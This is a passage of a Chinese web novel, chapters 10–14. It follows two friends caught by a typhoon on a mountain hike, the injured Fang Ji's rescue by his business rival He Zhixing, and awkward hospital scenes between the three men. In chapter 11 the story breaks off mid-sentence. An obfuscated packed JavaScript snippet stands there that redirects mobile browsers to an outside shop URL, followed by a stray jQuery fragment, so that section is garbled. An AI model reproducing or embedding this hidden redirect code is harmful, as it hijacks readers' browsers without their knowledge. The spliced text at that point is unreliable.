他动过偷偷调查对方是谁的念头,方霁给出的提示也多,这件事对他来说并不难,但次日早上方霁酒醒,却专门为此给他打了个电话过来。 没说什么威胁的话,但甄均清楚地感知到:方霁不想让他知道对方是谁。 甄均承认自己吃味了,可他更加不想惹恼方霁,这件事便不了了之。 “方哥,你说咱俩四个小时能上到顶不?” “不休息的话应该行。” 华拓山是开发了很久的景区,专门供攀登人士消遣。他们很幸运,这个时候正是淡季,山上没什么人导致拥挤。 随着海拔逐渐升高,周围的空气也变得更为清凉。 秋天的萧条无法进入晋城的中心,却能侵蚀大自然的一草一木,风景自然是不如春天的绿意盎然和冬天的银装素裹,但站在最顶峰眺望山脚下的世界和走过的道路,同样能有一番好心情。 两人打算在山上看明早的日出,所以干脆将帐篷一块背上了山,凑合一晚。 只是刚扎好帐篷,灰蒙蒙的天边就开始淅淅沥沥地下起了雨。 两人掐着时间躲进了帐篷中,起初还以为是小雨,但随着雨势愈演愈烈,砸在地面上发出噼里啪啦的巨响,甚至狂风骤卷,掀起帐篷四角的地钉,两人才终于意识到不对劲。 “草,不会是台风天吧!”甄均身上几乎被刮进来的雨水打湿大半,没忍住骂起来。 10. 第 10 章 两人在出发过来之前其实看过天气预报,分明显示的今天是大晴天,但谁都没有料到天气会转变的如此快。 “这回真是给天气预报坑惨了。”甄均简直想投诉。 现在山已经爬了,还处在渺无人烟的山顶,抱怨再多也无济于事。方霁将背包里的雨衣取出来递给他,“这里不安全,先换个地方避一下。” 本来是打算出来放松心情的,没想到更糟了。 甄均接过雨衣,“感觉所有衰事都给我赶上了,等这次回去,我一定要找个寺庙烧炷香逆天改命。” 方霁觉得好笑,但也知道现在不是闲聊的好时机,耽误之急还是赶紧找个可以躲避风雨的地方。他起身,准备出去将帐篷收起来。 只希望这场风雨不会持续太久,否则山体被雨水冲刷,路面湿滑导致摔跤都算轻的了,但凡出现滑坡、泥石流一类的灾害,他们在大自然的力量面前就犹如一粒渺小的尘埃,尸骨掩埋后兴许好几年都不会有人找到。 方霁从身边经过时,甄均敏锐地注意到他身上没穿雨衣,立刻伸手拉住了他:“方哥你怎么不穿雨衣?” 台风像是一头失控的野兽,以惊人的速度咆哮着朝他们这边扫来。支架摇摇欲断,帐篷口被吹开,冷风裹挟着雨水肆意灌入。 方霁借着说话将手抽了出来,“我出去收帐篷,穿着雨衣不方便。” 甄均清楚方霁不是会在这种场合胡闹的人,猜测道:“雨衣就一件?” 方霁没有正面回答,但也算是默认,“我比你大,照顾你一下是应该的。”说完就要继续往外走。 甄均眼疾手快,这回直接抱住了他一条大腿,“你收帐篷的时候我不也要跟着一块出去?再说我身上都已经打湿了,穿着雨衣也没用,还不如给你。” 方霁差点被他这一抱给摔成狗啃泥,冲着他的手背甩了一巴掌,佯怒道:“放手,你踏马再墨迹下去,我们就一块死在这里!” 甄均却没在这件事上让步,干脆利落地将雨衣脱了下来,扔给他:“那你快穿,我跟你一块出去收帐篷。” 方霁想说不用,但甄均已经跟泥鳅似的从他面前滑出去了,他抓紧了手上的雨衣,最后一咬牙还是套上了。 两人分工合作,不到五分钟就将所有东西收拾完毕,装进背包开始往植被茂密的地方走。 可惜这个季节的华拓山草木凋零,放眼望去,绝大多数树木只剩下光秃秃的枝干,无论往哪个方向走,也无法依靠树叶躲避太多风雨。 甄均的衣服早在收帐篷时就全部打湿,方霁虽然有雨衣但也没比他好到哪去,狂风携带着密集的雨幕,如同无数锐利的针尖,毫不留情地直刺脸庞,又汇聚成细流,沿着下巴淌进衣服里。 华拓山是无人管理的自由景区,各方面尽量保持着原生态,游客能够获得的自由度很高,但也会因此造成遇到困难无法及时求救的局面。 “现在怎么办?”甄均到底是第一次经历这种事,虽然嘴上没有说出来,但从声音到神情,明显都透着慌张焦急,“好像真是台风,这雨也越下越大了。” 方霁其实也是头一回亲身直面来自大自然的威胁,但在甄均面前,还是竭力保持冷静思考对策。 “对了,我们不是还有手机?我记得路上有指示牌,上面写了紧急求救电话。”滂沱大雨令视线更加受限,但甄均这回的运气还算不错,话音刚落,就在前面十米的地方找到了指示牌,上面标明了他们目前所处位置,以及一排醒目的电话号码。 甄均快速摁完键码,度秒如年的等待振铃结束,响起的却是一道令人发指的机械女音。 “靠!”他从没这么讨厌过这声音,气得差点将手机甩出去。 “没信号是吧?”方霁也想过找人救援,在山顶的时候就尝试拨打电话,可惜信号太差没能成功,现在他们才从山上下来不到两百米的海拔,依旧没有信号也在方霁的意料之中。 他的手握上甄均其中一边肩膀,语气平缓道:“别着急,这雨不会一直下的,我们先找个背风的地方躲一下,晚点天气好了再下山就行。” 方霁同样觉得自己最近挺倒霉的,但是在任何一件尚未发生的事情面前,他都始终愿意保持最高度的自信。譬如现在,他相信他们肯定能顺利下山。 …… 终于找到一个安全的地方歇脚时,两人从头到尾都湿透了,裤腿哒哒滴着水。 雨势也出现转小的趋势,悬着的心情一点点放松下来。 抬头相视的一瞬间,甄均捧腹笑出了声,道:“其实要真和方哥一块交代在这里好像也不赖,路上有个熟人作伴,不用去当孤魂野鬼。” 方霁也笑了,活了快三十年,他就没这么狼狈过,闻言骂道:“想找死别捎上我!也不知道刚才是谁,跑得比兔子还快,脚滑的时候拉了我一把,差点没给我拽到山底去。” 甄均不好意思地轻咳了几下:“那不是意外嘛。” 路面经水一冲变得泥泞不堪,当时他附近连棵树都没有,面前只有方霁能抓,在那连一秒都不到的危急关头,强烈的求生欲自然操控着他的身体先一步做出了反应。 方霁知道人都是利己的,在生死面前更是,他自己也不例外,所以没真跟他计较。 - 这场暴风雨持续了将近三个小时,快要结束的时候天边也已经黑透。 山上信号不好,怎么也连不上网,两人没法通过手机上的天气预报来判断接下来是否还会出现恶劣天气,但以他们现在的情况,留在山上蹲守明早的日出是不可能的了,最安全的做法还是趁着现在天气好赶紧下山。 甄均包里本来装了把手电筒,但在路上太着急,磕碰到,灯泡部分几乎全部撞碎,已经没法再正常使用。 “拿手机开手电筒模式轮流照路吧。”方霁摸出手机道。 甄均点头,现在也只能这样了。 方霁将手机切换成省电模式,先开了灯,等手机提示电量只剩 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“反正我这辈子是不可能再找女人了,那不纯纯祸害人家嘛,兴许等再过个十几年,他们从盼着抱孙子到希望我身边有个活物陪着就行,指不定松口答应了。” 甄均的人品方霁是丝毫不怀疑的,否则也不会同他保持往来这么久。只是在情感方面,方霁却不完全赞同。 他没主动去接触过任何与“同性恋”相关的人或者事,但当下信息传播那么发达,对于男人与男人之间那点事,他还是略有耳闻。 听说做上面那个出力更多,要求身强力壮,而做下面那个虽然爽,却更容易受伤。 方霁不露声色地打量了一眼甄均。对方今天换了一身轻便的黑色冲锋衣,书包侧面挂着一个带有墨镜的毛绒小黄鸡挂件,精心打理的头发全被雨水压塌了,仅有耳边几缕还顽强的翘着。 长相挺乖巧一小孩。 情感方面的私事方霁实在不便插手,但作为朋友,还是不由得提醒了一句:“你和人开房的时候,自己多注意安全。” 甄均以为方霁是在提醒注意卫生方面的事,道:“放心吧哥,我每次都有戴。” 戴?被□□的那个还需要戴那玩意吗? 不纯属浪费? 方霁面露不解,刚想开口,身体突然像是被无形的手猛地拽了一下,整个身躯顿时失去平衡。 “说起来,我好像还一直没问过方哥你怎么看待同性恋这件事情的。”甄均借着话题适时发挥道:“如果是方哥你,你觉得能接受和男人在一起吗?” “……” 话音落下良久,始终没有听到任何回应,甄均还以为方霁是生气了,揣着忐忑的心情回头看过去。可身后哪还有半点方霁的影子,连人带装备都消失得一干二净。 他们走的这条路和上山不是同一条,台阶没那么多,但道路相对狭窄,挨着山面,右手方就是乌漆麻黑的山崖。 “卧槽。”甄均双眼瞪大,终于意识到事态不对。 他方哥人呢!? 11. 第 11 章 再睁开眼,方霁是被疼醒的。每一次呼吸,都伴随着头部的强烈眩晕与全身骨骼深处的抗议。 方霁轻嘶一声,勉强坐起来,看着周围爆了一地的装备,内心五味陈杂。 记忆的碎片逐渐拼凑成块,他记得自己跟甄均正聊天来着,结果有个石阶没看清,一脚踏空,刚好踩在青苔上,一溜烟就给他从路面滑下来了。 好在这个山沟不算太深,又有许多树干帮忙挡着,起到了缓冲降速的作用,否则他还真不确定自己经此一遭,还有没有命睁开眼。 天边开始下起小雨,疼痛与湿冷一同将身体推向绝望的深渊。就在方霁冥思苦想该怎么解决现下困境时,兜里的手机在黑暗中闪烁出亮光,响起一阵净化心灵的古老旋律,穿透山野与雨夜。 “唵——赞巴拉——扎连达耶——□□——”[1] 他都快摔废了,这手机质量居然这么好? 方霁错愕地看着手机屏幕上的来电显示,第一反应是这里居然有信号,第二反应才是这个电话号码好像有些熟悉,IP显示的晋城,应该是和他认识的人。 命运总是捉摸不定,当你跌入谷底,它又送上一线生机。 方霁按下接听按键,电话那端传来了男人明显焦急的声音:“你现在在哪?” 那一刻,方霁的心脏仿佛停顿了一秒。 从大学到现在将近十一年时间,方霁几乎在听到第一个字的刹那就认出了贺知行,意外地反问:“你怎么会打电话过来?” 贺知行稍微平复了一下心情,沉声道:“我在华拓山。” 短短五个字,令方霁什么话都说不出来,内心疑云纷涌。 贺知行怎么会知道他今天来爬山? 而且他不仅知道,竟然也在这里。 “发个定位给我,我过去找你。”贺知行的声音打断了方霁的思绪。 方霁看了一眼周围环境,连自己具体在哪都不知道,更不敢确定这个位置能被贺知行顺利找到,道:“还是算了,你过不来的,我自己想办法解决。” 既然这底下有信号,他一会可以自己拨打电话求救,从各方面来说,都比让贺知行过来找他要好。 方霁嘴唇翕动,正要出声说明,贺知行却抢在他之前开口,语气比方才严肃许多,“方霁。” 人对于自己的姓名,怀有一种根植于本能的奇妙感应,譬如在课堂上突然被点到时的紧张,在被爱人轻唤时的那份心悸。 与上回夜里听到贺知行喊自己名字的感觉完全不同,那种陌生的茫然令方霁一愣,紧接着听到贺知行不容拒绝道:“听话,定位发我。” 不是在向他征求同意,也不是商量。如同夏末的雨从窗口飘了进来,沾湿脸颊,却拂去了烦躁与不安,叫人讨厌不起来。 心跳在陷入短暂安静的通话中越来越快。 少顷,方霁陡然回神,为自己冒出的想法吓了一跳。 他是滚下来的时候一块砸坏了脑子吗? 应该只是单纯的吊桥效应,他不可能对贺知行这家伙有什么好感。 “方霁?”贺知行没有等到回答,又叫了一声他的名字。 方霁闻言头皮发麻,就差起一身鸡皮疙瘩,“别叫了。”最终还是给他发了定位过去。 不料消息刚显示在聊天框,他的手机屏幕便骤然一黑,彻底没电关机了。 方霁:“……” 他果然不该对老天爷抱有什么信任。 此刻的雨下得并不大,丝丝如线,落在身上只剩下凉意。方霁抬手捂住了连眼睫毛都挂着雨珠的双眼,唇边勾勒出一抹苦笑。 靠,管他究竟是不是吊桥效应。 贺知行,老子这是第一次将性命托给另一个人。 你要是敢不来,我做鬼也不会放过你! - 除了左手可以自如动弹,其余部位哪怕最轻微的使力,就是一阵钻心的疼,宛如脆弱的骨架构筑在刀尖之上,下一秒就要悉数劈断,叫方霁不敢再轻易尝试。 身体的剧痛加上环境的湿冷,令方霁就算想晕死过去也不行,唇色却逐渐流失。 时间在方霁这变得模糊不清,不知究竟等了多久,可能是十几分钟,可能是一个小时,也可能是更久。 一束强烈的白光猝不及防打了过来,如同照进深渊中带着救赎的希望。 方霁下意识抬起左手挡了一下,当脚步声停在面前,他也终于看清了来人。 贺知行蹲下身,浑身狼狈,那张俊脸上是方霁前所未见的紧张,全然不像在商业上与他争锋相对的人该露出的神情。 “为什么后面又不接电话了?”贺知行脸色难看地问道。 方霁没想到有一天他也会说出如此渣男的发言:“呃……我说我手机刚好没电了,你信吗?” 贺知行没吭声了,不知道信没信。 方霁注意到他穿的既不是专门的攀登服,也不是平常的休闲装,而是在这深山老林中显得十分突兀的黑色西装。 这人该不会是从公司出来的? “能动吗?”贺知行问。 “不太能。”方霁如实道。 贺知行没有贸然移动他,将手电筒拿在手上,先检查了他身上的情况,没有大出血的地方,只是裸露在外的皮肤表面有不少划伤。右脚脚踝最严重,肿胀得跟个馒头似的,甚至呈现一种诡异的畸形。 贺知行有户外运动的爱好,之前专门学过应急措施,在附近折了几根粗细合适的树枝和树藤,然后扯出鞋带,给方霁进行固定。 方霁负责帮忙拿着手电筒,看着贺知行手上熟练且迅速的动作,挺佩服的。 当贺知行抬起头的一瞬间,两人的目光毫无防备地撞在一起。 清晰的人像映在彼此浅褐色的瞳孔中央,一时间两人谁都没有说话。 须臾,方霁率先不自在地移开了视线,贺知行也好似什么都没发生过低下头,重新检查了一边固定的紧实度,道:“这里离出口不远,我背你过去。” 方霁几乎是条件反射地拒绝:“不用。” 贺知行已经背过去蹲下身,认真道:“就算你再怎么厌恶我,现在这种时候,什么都没有你的生命安全重要。” 方霁想开口辩解,告诉他自己其实也没厌恶他到要拿生命当儿戏的程度,但嘴唇张开,喉头却传来堵塞感,始终做不到出声,像是内心深处有一种力量正竭尽阻止着他。 - “你是怎么知道我出事的?”冷静下来的方霁后知后觉反应过来不对劲。 他和甄均出来爬山的决定是昨天上午临时起意,根本没有告诉任何人,可贺知行前面打电话给他时,人就已经抵达华拓山。 方霁想,除非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773832|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他脑袋里装的真是屎,否则压根不信这一切又是巧合。 贺知行背着方霁,看不到他脸上的警惕和困惑,但仅是通过这问询的语气,他也清楚,要是答案不能够令方霁信服的话,以这人的脾气,还真会干出下一秒掐着他的脖子,跟他在这山沟里同归于尽的事。 “我给你打了很多电话,你都没有接,今天又是台风天,我就怀疑你是不是出了事。” 方霁这回没那么简单被他糊弄过去,追问道:“那华拓山的位置呢?你怎么确定的?” 晋城的山没有一千也有一百了,更别说他们选的还是隔壁市。 贺知行:“……” 方霁见他又不作声,勒紧了他的脖子:“给老子说实话,别想着拿假话搪塞忽悠,我听得出。” 贺知行喉前一痛,担心一会两人真给摔到地上去,只能坦言告诉他:“我从你助理那里得知的。” 方霁:“刘叉?” 贺知行默认了。 方霁转念一想,他在出来之前,确实问过刘叉有没有合适的地方推荐来着。他的声音变得有些冷:“我公司出问题的事是不是也是他泄露给你的?” 有了杨氨那件事,他如今最憎恶的就是背叛。 贺知行这次却回答的很快:“不是。” 贺知行赶得急,甚至连把伞都没有拿,身上的衣服湿得快能拧出水来。方霁在爬上贺知行后背前就将身上雨衣从中间扯开,一同盖住两人。 “我是真的有意向同方天公司合作,但你也知道,商人以利益为先,不做亏本的买卖。此前我就一直在关注你们公司的动向,这才意外发现了贵司资金链出问题。” 商业竞争那点手段两人皆心知肚明,业内非常普遍,就连方霁自己,在决定是否和一家公司合作前,也会先暗地里调查一番。 “呵,既然不做亏本的买卖,那为什么上次要说收购我公司这种话?” “这与商人的身份无关。” “那和什么有关?” 贺知行又一次陷入了沉默,良久后道:“抱歉,这个问题的答案我暂时还没法告诉你。” 真是稀奇,贺知行居然会跟他道歉。 哪怕背着一个差不多重量的成年人,走在坑洼不平的路上,贺知行脚下步伐依旧平稳。除了过分别扭的距离外,方霁没有感到太多不适。 看在贺知行赶过来救了他的份上,方霁这次没再咄咄逼人地追问下去。 走了快有三四十分钟,终于看到停在平地上亮着双闪的黑色轿车。 贺知行打开车门,将人在副驾驶座位上放下,给他调整好座位角度,准备顺便系上安全带时,方霁已经自己扯出带子,啪嗒一声插好。 贺知行见状收回了伸出一半的手,绕过车头坐上主驾驶,驱车前往最近的医院。 上车后的两人出奇的安静,事实上他们也没什么好聊的。 这些年除了商业上的交集外,两人私下并无过多联系,要不是方霁不小心说漏嘴,险些被甄均发现,周围再没有人知晓他们曾经还是大学室友的事情。 因为台风天气,一路上车辆稀少,黑色轿车犹如一只孤独的箭矢,在雨中穿梭,四轮溅起水花。 贺知行余光瞥见方霁分明很疲倦,却仍强撑着精神望向窗外。 “既然很累,为什么不闭眼休息一下?” 12. 第 12 章 方霁听到声音瞌睡一散,用完好的那只手捏了捏鼻梁骨上端,试图驱散困意的侵袭,迫使自己清醒。 “还能因为什么,我怕睡着。”方霁下意识答。 贺知行起初没理解他的意思,过了少顷,道:“有我在,不会让你有事的,可以安心睡。” 方霁觉得他这话挺别扭肉麻的,又不是在演什么含情脉脉的电视剧。 但真实原因他又实在难以启齿。总不能说我是怕一会闭眼就又穿成你的替身内裤吧? 到时候叫天天不应,叫地地不灵的。 估计贺知行发现喊不醒他,还会以为他是死了,给他转道拉火葬场去。 “你这话还是跟你今后对象说去。”方霁道,仍旧偏头看着窗外,没有真闭眼睡觉。 贺知行没再接话,打开了车上的收音机,切换成音乐频道。 “有没有摇滚乐?我爱听那个。” “……” 到医院的时候已经是凌晨两点,贺知行给方霁挂了急诊,又办理入院手续。 都说大难不死必有后福,方霁做完一系列检查后,除了右腿上的骨折比较严重,但通过拍片来看,无需进行手术。 其他表皮划伤则都无伤大雅,上些药很快就能好全。 方霁目前只有一条手还能使上劲,好不容易将外套脱下来,差不多废去他半条命。 他低下头,看着沾满泥水的裤子,陷入短暂沉思。 要不要喊个人进来帮忙? 正犹豫之际,病房的门被人从外面推开了。 贺知行身上已经换了一套干爽的新衣裳,看到方霁坐在床边还没换好,走上前,提醒道:“湿衣服在身上穿久了不好。” 方霁闻言,无声地瞪了一眼贺知行。 这种废话用得着你来说? 要不是他现在浑身疼,手脚又不方便,早就将衣服利落换了,哪里还磨蹭到现在。 贺知行扫了一眼方霁另一条无力垂着的手,似乎也明白过来问题所在,朝方霁更近几步,直接上手捏住了他裤子前的拉链。 意识到对方要做什么后,方霁瞳孔一震。还不及阻止,嘶啦一声金属与布料的摩擦声响起,一抹鲜艳夺目的大红色露了出来。 “……” 空气陷入死一样的寂静之中。 方霁的脸色顷刻间如同砂锅底,下颚线绷紧,下一秒举起左手,一拳挥了出去。 “妈的,贺知行你离老子远一点!我用不着你给我换衣服!” 这一拳毫无预兆,直接砸在了贺知行的嘴角,出现轻微裂痕。 贺知行也没料到他会有如此强烈的反应,伸手摸了一下嘴角,只有少量出血,不算太严重。 他没有流露出半点恼怒的情绪,反倒语气如常道:“现在值班的护士都是女性,你确定要喊她们进来帮你?” 方霁气得浑身发抖。他知道,在医院没有性别歧视,就算面对的是异性,医护人员也会秉持职业操守,尽量满足患者的需求。 但他身为一个大男人,要说完全不好面子是不可能的,怎么好意思喊一个小姑娘进来帮他换衣服。 “我自己会换,谁也不需要。”方霁咬牙道。 贺知行知道他拉不下那个脸面,却也没由着他胡来。就方霁那肿得胜似猪蹄的腿,一会再脱裤子的扭一下,说不定下半辈子真可以依靠拐杖度过了。 “腿真不想要了?”贺知行冷峻道,握住方霁的肩膀,直接将人压倒在了床上,继续脱他裤子。 方霁在山上待了一天,又带着伤,刚才那一拳已经消耗掉他所有气力,现在就跟个纸老虎似的,只有嘴巴还能动动罢了。 “贺知行你个死gay,再碰我一下试试,就别怪我不顾及情面!” 贺大总裁倍有实力,不仅碰了,还贴心地给他将内裤一块扒了下来,动作干脆利落得像在签订项目合同。 方霁这回气得脸都绿了,“你他娘的,老子迟早有一天给你那玩意剁成渣!” 贺知行对此却表现得满不在乎,道:“等你腿能动了,这话或许更有威慑力。” 男人手心的温度对于方霁来说很高,脱裤子的时候难免碰到腿肉,给他刺激得一哆嗦,浑身汗毛倒竖。 几乎在贺知行给他换好衣服,站起来的瞬间,方霁一把抓起枕头,劈头盖脸砸了过去,怒不可竭道:“滚!” 听说人真的能够被气死,贺知行没再继续留下,将枕头捡起来,拍干净后给他放回床头,拿过一旁换下的脏衣服和红内裤这才出门了。 方霁注意到他拿走的东西,后槽牙都快咬碎了。倘若火气能够化为实质,怕是整家医院都要烧为灰烬。 - 医生进来帮方霁处理伤势,通过专业手法将骨折的部位复位,打上石膏。 “还需要在医院观察一周,这段时间内尽量忌辛辣寒凉的食物,如果复查后没有出现移位的现象就可出院回家休养。” 方霁点头,向医生道谢。 贺知行再推门进来时,手上拿着一杯冒着白气的热水,以及……一盒999感冒灵颗粒。 “淋了一晚上的雨,喝点药可以预防一下。”贺知行解释道。 他将药盒打开,从里面抽了两包出来一一撕开,棕褐色的药粒倒进热水之中,立刻将透明的热水晕染成了橙黄色。 方霁的气其实还没完全消,但大家都是成年人,过分执着于吵闹没意思,今后在晋城也少不了碰面。 贺知行将冲泡好的药剂递给他,方霁接过,默不作声,仰头喝完了一整杯带有甘甜的药剂。将杯子放在床头柜上,却见贺知行仍旧没有要走的意思。 少顷,方霁终于忍不住开口道:“贺总还不休息吗?” 又回到了那疏离且客气的称呼,如今也就只有生气的时候,方霁才会直呼他的名字。 “准备休息了。”这间病房内设置有双人床,贺知行走到另一张床上坐下。 “现在熄灯吗?” 方霁意识到什么后,连音量都不自觉提高了几个度:“你要睡在这儿!?” “嗯。我在这边没房子,现在回去最少也要再开两个小时的车。” “附近酒店那么多,你去开一间不行?” “没带身份证。” “……” 方霁抹了一把脸,简直想骂人:“这么大个医院,就只剩我这一间病房可以 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确认贺知行没醒,方霁才点进同甄均的聊天框,那边几乎每隔几分钟就发来一条,询问他现在在哪里,最新一条显示十一分钟前。 方霁暗道不好,甄均肯定急得找了他一晚上。 这事也怪他,居然忘了给手机充上电这么重要的事。 他打开通讯录,入目是五十六个未接电话,正要回拨过去,屏幕上就先出现了甄均的来电。 另一头见电话终于打通,先是意外地一怔,看了一眼确认自己没打错,再开口时连声音都在发颤:“方哥?” 方霁听到那边还有其他人的声音,猜想是甄均喊过去的救援队,顿时懊悔不已:“嗯。” 甄均有很多问题想问:“你现在怎么样?受伤没有?周围有没有明显的标志?” 方霁知道他这回是真将人吓坏了,语气难得的温柔,安抚道:“我现在很好,也很安全,你别担心。” 甄均简直不敢想象,要是方霁这回真出了事,他简直死不足惜。 他用手臂擦了擦眼泪,尽力平复自己的情绪,道:“你在哪?我过来找你。” 方霁告诉了他自己的位置,并道歉让他担忧了一晚上。 “哥你跟我道什么歉,这事最该赖的是我。如果我不爬什么山,或者准备的再仔细一些,多注意一下天气预报,说不定就不会发生这种事了。” 加上酒吧那回,已经连着两次。他就跟个灾星似的,来晋城一趟,什么忙没帮上,反倒给方霁添了不少麻烦,甚至差点搭上性命。 方霁不是个会安慰人的,但听出甄均语气里的自责,还是觉得自己应该说些什么。 “我自己踩空跟你没关系,其实我也挺想爬山的。” 甄均听笑了:“方哥你还真不会安慰人。算了不说了,我现在就过去找你。” “好。” 方霁挂断电话,一扭头才发现贺知行不知什么时候已经醒了,正睁着一双眼睛看着他,给他吓得魂都险些散了。 “你醒了怎么不出声?” 13. 第 13 章 贺知行从床上坐起来,视线不经意间从方霁手机上掠过,过了会才道:“你在通话,我不方便打断。” 话虽然是这么说没错,但方霁还是觉得怪怪的,尤其是贺知行醒来后给他的感觉,跟昨晚比起来像变了个人似的。 如果非要形容,那就是更加贴近“总裁”这个身份,理性、冷酷,看着人时自带一种与生俱来的压迫感。 方霁不知道贺知行究竟听到了多少,轻咳了几声,莫名心虚:“你要是没睡够的话,可以再休息一会,我已经将手机调成静音模式了。” 话音落下,方霁又反应过来不对。 他一没出轨二没做犯法,心虚做什么? 于是他又直起了身体。 贺知行本来已经打算翻过这件事了,闻言道:“一会有人要来,我就这么躺在这休息不太好吧?别影响了你们叙旧。” 方霁:“???” 这么阴阳怪气的话是贺知行说出来的? “你特么被夺舍了?” 医院内几乎每天都在上演着生离死别,时日长了,阴气聚集,有各种各样的阴魂围绕在附近也不奇怪。说不定其中一只鬼瞧中了贺知行这副皮囊,鸠占鹊巢。 “还是你有起床气,在介意我打电话吵醒了你?”方霁道。 要不是他腿脚不便,他肯定会出去打。 贺知行确实挺介意的,但绝对不是因为方霁接电话,他平时这个点差不多也该醒了。而是他和方霁认识这么久,还从没见他对谁如此温柔过,却是给了另外一个人。 他其实知道方霁不是一个人出来爬山的。 “没什么。”贺知行也没困意继续睡回笼觉了,从床上下来,“我出去买早餐。” 方霁没拦着他,事实上他现在确实挺饿的,有一个人愿意跑腿他求之不得,大不了一会转账的时候多给点。 临到门口,贺知行又停下来,道:“他有什么忌口吗?我一块买了。” 方霁一时没品出这话里的酸味,心想甄均在山上找了他一宿,估计也没吃早餐,便道:“清淡些吧,不要葱香蒜姜,也别加醋,另外他乳糖不耐受,喝的除了牛奶外都行。如果你是要买包子的话,莲蓉包、奶黄包、糖包不要,他早上不爱吃太甜的。” 贺知行听完,脸色阴沉道:“没有合适他吃的。”下一秒转动门把手出去了。 方霁看着房门砰的一声关上,一头的黑线。 他说的这些算很苛刻吗? 还有贺知行这一大早上又发什么病,不知道的还以为是他将人怎么了。 明明昨天被扒衣服和内裤最该生气的是他,他都还没要死要活地闹,这小子倒先给他摆上谱了。 - 台风过境,给整座城市造成了不小的损失,留下满目疮痍。工人在马路上忙碌地进行清理,唯有天边湛蓝的天空算是一点慰藉。 方霁还没等到贺知行回来,就先因为内急难耐下了床。 都怪贺知行,昨晚冲药的时候配那么多水干什么,差点没给他憋死。 病房内没有配备拐杖,方霁只好扶着墙面艰难移动。好在一晚上过去,力气恢复不少,身上其余部位也都能正常活动了。 方霁刚移动到卫生间门口,贺知行买好早餐回来了,一打开门就看到方霁两手扒着墙面,下面拖着条打了石膏的腿,全身重量几乎都压在了另一条腿上。 贺知行将手上早餐放下,“需要需要我帮你?” 方霁没好气地道:“不用。我是一只脚不能动,又不是全身废了。” 再者说,贺知行进去了打算怎么帮他?是给他把尿,还是帮他扶着? 不管是哪一种,他都嫌恶心。 贺知行这么多年已经习惯了他这一点就炸的脾气,帮他打开了卫生间的门,然后站在一旁等着。 方霁一进卫生间就反手将门关上了。 贺知行看着门觉得好笑。 五分钟过去,方霁还没有要出来的意思。就在贺知行怀疑方霁是不是碰上困难时,里面炸开一道响声。 贺知行没有任何犹豫,立刻开门进去。 方霁虽然双手能动,但只有一条腿。 也不知道这家医院是怎么想的,厕所是蹲坑而非马桶,不然他也不用那么麻烦。 但转念一想,公立医院大都建成有很长一段时间了,按照中国人的喜好,在过去确实是蹲坑更容易被老百姓接受。 不过这也导致方霁必须找个东西搀扶着,于是手肘就不小心碰掉了花洒,与墙面瓷砖相撞,发出了令人误会的声音。 人在厕所的时候是最脆弱的,听到门被推开的瞬间,方霁条件反射扭过头去,恰好跟贺知行对视上,火气腾地一下就串了上来。 “你进来干什么!?” ……妈的,早知道刚才就把门一块反锁了。 贺知行答道:“我听到响声,以为你摔倒了。” 方霁烦躁地闭了闭眼,隐忍道:“我没事,你现在出去。” 他是真的快憋不住了,贺知行要继续纠缠不休,就别怪他一会滋他身上。 贺知行这回没猜出他心里想的什么,事实上他也想不到那层上去。他走进卫生间,道:“我帮你。” 前面是因为相信方霁自己一个人可以,现在信任度却削减了一半。 三个字如同雷击,没有任何商量的余地,加上贺知行的动作,方霁人都傻了。 贺知行刚刚说要干什么? 帮谁? 贺知行已经将他的内裤扯得更下,手掌伸到他前面来。 有着明显差异的温度贴上来,方霁犯起一阵恶寒,“你他妈的。” 贺知行另一只手扶着他的肩膀,让他可以将身体的重量转移到自己这边,丝毫没觉得膈应,道:“尿吧。” 方霁脸都黑了。 甄均就是在这个时候推门进来的。卫生间的门没关,他一眼就看到了站在里边的两人,一前一后,方霁连裤子都脱了。 “你们在干什么?” “……操。” - 一个小解上得惊天地泣鬼神,方霁这辈子没觉得这么心累过。 他将两个不爱敲门的家伙统统轰了出去,这次吸取教训将门反锁。 砰—— 门外站着的两人面面相觑,或多或少露出错愕。 想到刚才看到的一幕,甄均脸上充满敌意,率先开口:“你刚才想对方哥做什么?” 既然方哥将面前这个男人一块轰了出来,就说明方哥十之八九 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甄均不由得握紧了拳头:“你究竟是谁,又是怎么知道我们的事情?” 咔哒,方霁解决完生理问题,将门打开。 门外两人仍旧火药味十足,但在方霁面前,也只好将私人恩怨压下去,争先进门想要去搀扶方霁。 方霁觉得这两人铁定吃了假药,谁的帮忙也没要,自己走到床边坐下。 甄均一看见他这样子,又心疼又自责:“方哥……” 方霁闻声看去。甄均身上穿的还是昨天爬山时那套,头发乱糟糟的,干了之后胡乱翘着,像个炸毛的松狮犬,眼底浮着明显的红血丝。 这副可怜样,方霁真怕他一会在这里放声哭丧,窘然之下连忙转移话题:“早餐在哪?我饿了。” 贺知行上来时就顺便从医院前台借了两个碗,他将其中一份装好,拿到了方霁面前。 方霁这才注意到他买的是鲜肉馄饨,他在大学时期经常吃的东西。 贺知行:“给你加了香油,但医生说你这几天要注意饮食,所以我没放辣椒进去。” 方霁这回向他道了谢,刚吃一口,就无法再继续忽视甄均眼巴巴的目光,放下塑料勺,问:“你吃过早餐没?” 甄均摇头。 方霁犹豫片刻,“你要是不嫌弃,我分一半出来给你。” 能和方哥吃同一碗食物,甄均求之不得,正要说好,一旁的贺知行先道:“这里还有一份。” 方霁看到对面桌上确实还有一份,心中不解。 这难道不是贺知行买给他自己的吗? 好似能读懂他心中所想,贺知行下一秒就说:“我已经吃过了。” 方霁便没再问,“那你吃那份。” 甄均遗憾地哦了一声,从贺知行身边经过时顺势瞪了他一眼。打开另一份馄饨,看到漂浮在上面的葱花,眉头一蹙,道:“我不爱吃加葱花的。” 贺知行接的也很快:“那你别吃。” 甄均猛地抬起头:“?” 他朝方霁看去,想讨个说法,谁知方霁会错了他的意,尴尬道:“我这碗也加了葱花。” 甄均:“……” 14. 第 14 章 “要不我给你挑出来?”方霁道。 